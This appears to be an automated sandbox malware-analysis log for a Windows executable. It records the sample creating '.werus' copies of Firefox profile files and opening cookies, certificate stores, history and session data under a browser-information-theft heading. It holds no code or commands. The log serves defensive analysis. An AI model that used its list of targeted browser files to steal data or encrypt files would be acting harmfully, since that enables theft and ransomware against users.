Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\times.json.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\webappsstore.sqlite.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\webappsstore.sqlite-shm.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\webappsstore.sqlite-wal.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\xulstore.json.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\session-state.json.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\state.json.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\archived\2023-10\1696426835635.a669692a-f9c9-42c0-a803-7b87d3ff5834.new-profile.jsonlz4.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\archived\2023-10\1696426835643.9a3c31ca-35e4-421e-91e1-5f7b9bd27492.event.jsonlz4.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\archived\2023-10\1696426835647.a83301c6-790b-49f3-adc7-55a855f7fe79.main.jsonlz4.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\archived\2023-10\1696426835649.b06d08be-79e8-4bfe-b6aa-988ea3d35cbd.first-shutdown.jsonlz4.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\archived\2023-10\1696426840708.3c7034d6-bc52-43bb-9a23-5da34ee205e0.health.jsonlz4.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\archived\2023-10\1696426840727.01c0ecdb-8e59-4210-95f1-0fd0406e84ad.event.jsonlz4.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\archived\2023-10\1696426840727.86be03dd-6b03-42f5-89cd-4606f43d25ad.health.jsonlz4.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\archived\2023-10\1696426840748.a8c1f564-c2e2-4ef8-a85f-52a56488f193.main.jsonlz4.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\glean\db\data.safe.bin.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\glean\events\background-update.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\glean\events\events.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\glean\pending_pings\43bb9a55-74a2-452e-8233-6899a7f737b0.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\glean\pending_pings\7755ad51-2370-4623-9d21-15c89f2143db.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\glean\pending_pings\ae04dde8-69a1-49f8-95f1-d533ed587ff6.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\glean\pending_pings\b8f053a5-de16-4a2c-8120-1ab4aadd63e8.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\saved-telemetry-pings\3c7034d6-bc52-43bb-9a23-5da34ee205e0.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\saved-telemetry-pings\a83301c6-790b-49f3-adc7-55a855f7fe79.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\sessionstore-backups\previous.jsonlz4.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\sessionstore-backups\upgrade.jsonlz4-20230927232528.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\ls-archive.sqlite.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\.metadata-v2.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.sqlite.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.sqlite-shm.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.sqlite-wal.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.sqlite.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.sqlite-shm.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.sqlite-wal.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.sqlite.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.sqlite-shm.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.sqlite-wal.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\2918063365piupsah.sqlite.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\2918063365piupsah.sqlite-shm.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\2918063365piupsah.sqlite-wal.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\3561288849sdhlie.sqlite.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\3561288849sdhlie.sqlite-wal.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite-shm.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite-wal.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\yiaxs5ej.default\times.json.werus	Jump to behavior

Stealing of Sensitive Information

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\favicons.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\glean\pending_pings	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\archived\2023-10	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\archived\2023-10\1696426835635.a669692a-f9c9-42c0-a803-7b87d3ff5834.new-profile.jsonlz4	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\sessionstore-backups\NULL	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.files\NULL	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\glean\pending_pings\b8f053a5-de16-4a2c-8120-1ab4aadd63e8	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\2918063365piupsah.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\to-be-removed\NULL	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.files\NULL	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\archived\2023-10\1696426840727.01c0ecdb-8e59-4210-95f1-0fd0406e84ad.event.jsonlz4	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\search.json.mozlz4	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\glean\tmp	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\yiaxs5ej.default	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\AlternateServices.txt	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\archived\2023-10\1696426840708.3c7034d6-bc52-43bb-9a23-5da34ee205e0.health.jsonlz4	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\sessionstore-backups\upgrade.jsonlz4-20230927232528	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\sessionstore-backups	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\3561288849sdhlie.files\NULL	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\sessionstore-backups\previous.jsonlz4	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\security_state	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\content-prefs.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\webappsstore.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\bookmarkbackups\NULL	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.files\NULL	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\yiaxs5ej.default\NULL	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\archived	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\NULL	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\NULL	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\favicons.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\glean\db\data.safe.bin	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\saved-telemetry-pings\3c7034d6-bc52-43bb-9a23-5da34ee205e0	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\sessionstore.jsonlz4	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\default	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\to-be-removed	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\archived\2023-10\1696426835647.a83301c6-790b-49f3-adc7-55a855f7fe79.main.jsonlz4	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\default\NULL	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\NULL	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\glean\events\events	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\targeting.snapshot.json	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\archived\NULL	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\glean\tmp\NULL	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\saved-telemetry-pings\a83301c6-790b-49f3-adc7-55a855f7fe79	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\archived\2023-10\NULL	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\glean\events	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.files	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\2918063365piupsah.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\.metadata-v2	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\saved-telemetry-pings\NULL	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.files	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\security_state\NULL	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.files	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.files\NULL	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\sessionCheckpoints.json	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\temporary\NULL	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\ls-archive.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.files	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\containers.json	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\NULL	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\handlers.json	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\extension-preferences.json	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\minidumps\NULL	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\glean\db\NULL	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\favicons.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\pkcs11.txt	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\glean\pending_pings\43bb9a55-74a2-452e-8233-6899a7f737b0	Jump to behavior
